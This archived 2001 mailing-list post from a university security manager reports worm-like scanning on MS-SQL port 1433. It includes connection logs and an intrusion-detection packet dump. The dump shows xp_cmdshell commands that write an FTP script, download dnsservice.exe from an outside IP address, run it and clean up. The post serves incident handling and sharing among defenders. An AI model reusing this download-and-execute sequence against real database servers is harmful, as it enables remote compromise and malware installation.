We saw a scan come in looking for systems answering on 1433, and immediately saw several systems start scanning out for other systems answering on 1433 - worm behavior? Has anyone else seen this? thanks, -Doug -- Douglas P. Brown University of North Carolina Manager of Security Resources 105 Abernethy Hall Nov 20 09:38:19 x.x.92.228:2884 -> x.x.90.70:1433 SYN ******S* Nov 20 09:38:19 x.x.92.228:2886 -> x.x.92.70:1433 SYN ******S* Nov 20 09:38:20 x.x.202.182:2503 -> x.x.73.109:1433 SYN ******S* Nov 20 09:38:20 x.x.202.182:2507 -> x.x.77.109:1433 SYN ******S* Nov 20 09:38:20 x.x.202.182:2506 -> x.x.76.109:1433 SYN ******S* Nov 20 09:38:20 x.x.202.182:2528 -> x.x.96.109:1433 SYN ******S* Nov 20 09:38:21 x.x.92.228:2904 -> x.x.110.70:1433 SYN ******S* Nov 20 09:38:21 x.x.92.228:2905 -> x.x.111.70:1433 SYN ******S* Nov 20 09:38:21 x.x.92.228:2906 -> x.x.112.70:1433 SYN ******S* Nov 20 09:38:21 x.x.92.228:2907 -> x.x.113.70:1433 SYN ******S* Nov 20 09:38:21 x.x.92.228:2909 -> x.x.115.70:1433 SYN ******S* Nov 20 09:38:21 x.x.92.228:2908 -> x.x.114.70:1433 SYN ******S* Nov 20 09:38:21 x.x.92.228:2910 -> x.x.116.70:1433 SYN ******S* Nov 20 09:38:22 x.x.92.228:2911 -> x.x.117.70:1433 SYN ******S* Nov 20 09:38:22 x.x.92.228:2913 -> x.x.119.70:1433 SYN ******S* Nov 20 09:38:22 x.x.92.228:2912 -> x.x.118.70:1433 SYN ******S* Nov 20 09:38:22 x.x.92.228:2915 -> x.x.121.70:1433 SYN ******S* Nov 20 09:38:22 x.x.92.228:2914 -> x.x.120.70:1433 SYN ******S* Nov 20 09:38:22 x.x.92.228:2916 -> x.x.122.70:1433 SYN ******S* Nov 20 09:38:22 x.x.92.228:2917 -> x.x.123.70:1433 SYN ******S* Nov 20 09:38:21 x.x.202.182:2532 -> x.x.99.109:1433 SYN ******S* Nov 20 09:38:21 x.x.202.182:2533 -> x.x.100.109:1433 SYN ******S* Nov 20 09:38:21 x.x.202.182:2535 -> x.x.102.109:1433 SYN ******S* Nov 20 09:38:21 x.x.202.182:2538 -> x.x.105.109:1433 SYN ******S* Nov 20 09:38:21 x.x.202.182:2539 -> x.x.106.109:1433 SYN ******S* [**] MS-SQL xp_cmdshell - program execution [**] 11/20-08:01:48.923210 x.x.92.228:3348 -> x.x.200.115:1433 TCP TTL:127 TOS:0x0 ID:45385 IpLen:20 DgmLen:972 DF ***AP*** Seq: 0x318F3D1 Ack: 0x1E5807AD Win: 0x2098 TcpLen: 20 03 01 03 A4 00 00 01 00 0A 00 73 00 70 00 5F 00 ..........s.p._. 70 00 72 00 65 00 70 00 61 00 72 00 65 00 00 00 p.r.e.p.a.r.e... 00 01 26 04 00 00 00 63 00 00 00 00 FF FF FF FF ..&....c........ 00 00 63 62 03 00 00 62 03 00 00 65 00 78 00 65 ..cb...b...e.x.e 00 63 00 20 00 78 00 70 00 5F 00 63 00 6D 00 64 .c. .x.p._.c.m.d 00 73 00 68 00 65 00 6C 00 6C 00 20 00 27 00 65 .s.h.e.l.l. .'.e 00 63 00 68 00 6F 00 20 00 66 00 74 00 70 00 3E .c.h.o. .f.t.p.> 00 20 00 66 00 74 00 70 00 2E 00 78 00 27 00 0A . .f.t.p...x.'.. 00 65 00 78 00 65 00 63 00 20 00 78 00 70 00 5F .e.x.e.c. .x.p._ 00 63 00 6D 00 64 00 73 00 68 00 65 00 6C 00 6C .c.m.d.s.h.e.l.l 00 20 00 27 00 65 00 63 00 68 00 6F 00 20 00 66 . .'.e.c.h.o. .f 00 6F 00 6F 00 2E 00 63 00 6F 00 6D 00 3E 00 3E .o.o...c.o.m.>.> 00 20 00 66 00 74 00 70 00 2E 00 78 00 27 00 0A . .f.t.p...x.'.. 00 65 00 78 00 65 00 63 00 20 00 78 00 70 00 5F .e.x.e.c. .x.p._ 00 63 00 6D 00 64 00 73 00 68 00 65 00 6C 00 6C .c.m.d.s.h.e.l.l 00 20 00 27 00 65 00 63 00 68 00 6F 00 20 00 62 . .'.e.c.h.o. .b 00 69 00 6E 00 3E 00 3E 00 20 00 66 00 74 00 70 .i.n.>.>. .f.t.p 00 2E 00 78 00 27 00 0A 00 65 00 78 00 65 00 63 ...x.'...e.x.e.c 00 20 00 78 00 70 00 5F 00 63 00 6D 00 64 00 73 . .x.p._.c.m.d.s 00 68 00 65 00 6C 00 6C 00 20 00 27 00 65 00 63 .h.e.l.l. .'.e.c 00 68 00 6F 00 20 00 63 00 64 00 20 00 70 00 75 .h.o. .c.d. .p.u 00 62 00 3E 00 3E 00 20 00 66 00 74 00 70 00 2E .b.>.>. .f.t.p.. 00 78 00 27 00 0A 00 65 00 78 00 65 00 63 00 20 .x.'...e.x.e.c. 00 78 00 70 00 5F 00 63 00 6D 00 64 00 73 00 68 .x.p._.c.m.d.s.h 00 65 00 6C 00 6C 00 20 00 27 00 65 00 63 00 68 .e.l.l. .'.e.c.h 00 6F 00 20 00 63 00 64 00 20 00 74 00 6D 00 70 .o. .c.d. .t.m.p 00 3E 00 3E 00 20 00 66 00 74 00 70 00 2E 00 78 .>.>. .f.t.p...x 00 27 00 0A 00 65 00 78 00 65 00 63 00 20 00 78 .'...e.x.e.c. .x 00 70 00 5F 00 63 00 6D 00 64 00 73 00 68 00 65 .p._.c.m.d.s.h.e 00 6C 00 6C 00 20 00 27 00 65 00 63 00 68 00 6F .l.l. .'.e.c.h.o 00 20 00 67 00 65 00 74 00 20 00 64 00 6E 00 73 . .g.e.t. .d.n.s 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 2E .s.e.r.v.i.c.e.. 00 65 00 78 00 65 00 3E 00 3E 00 20 00 66 00 74 .e.x.e.>.>. .f.t 00 70 00 2E 00 78 00 27 00 0A 00 65 00 78 00 65 .p...x.'...e.x.e 00 63 00 20 00 78 00 70 00 5F 00 63 00 6D 00 64 .c. .x.p._.c.m.d 00 73 00 68 00 65 00 6C 00 6C 00 20 00 27 00 65 .s.h.e.l.l. .'.e 00 63 00 68 00 6F 00 20 00 63 00 6C 00 6F 00 73 .c.h.o. .c.l.o.s 00 65 00 20 00 3E 00 3E 00 20 00 66 00 74 00 70 .e. .>.>. .f.t.p 00 2E 00 78 00 27 00 0A 00 65 00 78 00 65 00 63 ...x.'...e.x.e.c 00 20 00 78 00 70 00 5F 00 63 00 6D 00 64 00 73 . .x.p._.c.m.d.s 00 68 00 65 00 6C 00 6C 00 20 00 27 00 65 00 63 .h.e.l.l. .'.e.c 00 68 00 6F 00 20 00 71 00 75 00 69 00 74 00 20 .h.o. .q.u.i.t. 00 3E 00 3E 00 20 00 66 00 74 00 70 00 2E 00 78 .>.>. .f.t.p...x 00 27 00 0A 00 65 00 78 00 65 00 63 00 20 00 78 .'...e.x.e.c. .x 00 70 00 5F 00 63 00 6D 00 64 00 73 00 68 00 65 .p._.c.m.d.s.h.e 00 6C 00 6C 00 20 00 27 00 66 00 74 00 70 00 20 .l.l. .'.f.t.p. 00 2D 00 73 00 3A 00 66 00 74 00 70 00 2E 00 78 .-.s.:.f.t.p...x 00 20 00 32 00 30 00 37 00 2E 00 32 00 39 00 2E . .2.0.7...2.9.. 00 31 00 39 00 32 00 2E 00 31 00 36 00 30 00 27 .1.9.2...1.6.0.' 00 0A 00 65 00 78 00 65 00 63 00 20 00 78 00 70 ...e.x.e.c. .x.p 00 5F 00 63 00 6D 00 64 00 73 00 68 00 65 00 6C ._.c.m.d.s.h.e.l 00 6C 00 20 00 27 00 64 00 65 00 6C 00 20 00 66 .l. .'.d.e.l. .f 00 74 00 70 00 2E 00 78 00 27 00 0A 00 65 00 78 .t.p...x.'...e.x 00 65 00 63 00 20 00 78 00 70 00 5F 00 63 00 6D .e.c. .x.p._.c.m 00 64 00 73 00 68 00 65 00 6C 00 6C 00 20 00 27 .d.s.h.e.l.l. .' 00 73 00 74 00 61 00 72 00 74 00 20 00 64 00 6E .s.t.a.r.t. .d.n 00 73 00 73 00 65 00 72 00 76 00 69 00 63 00 65 .s.s.e.r.v.i.c.e 00 2E 00 65 00 78 00 65 00 27 00 0A 00 00 00 38 ...e.x.e.'.....8 01 00 00 00 .... ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
This archive was generated by hypermail 2b30 : Tue Nov 20 2001 - 08:33:19 PST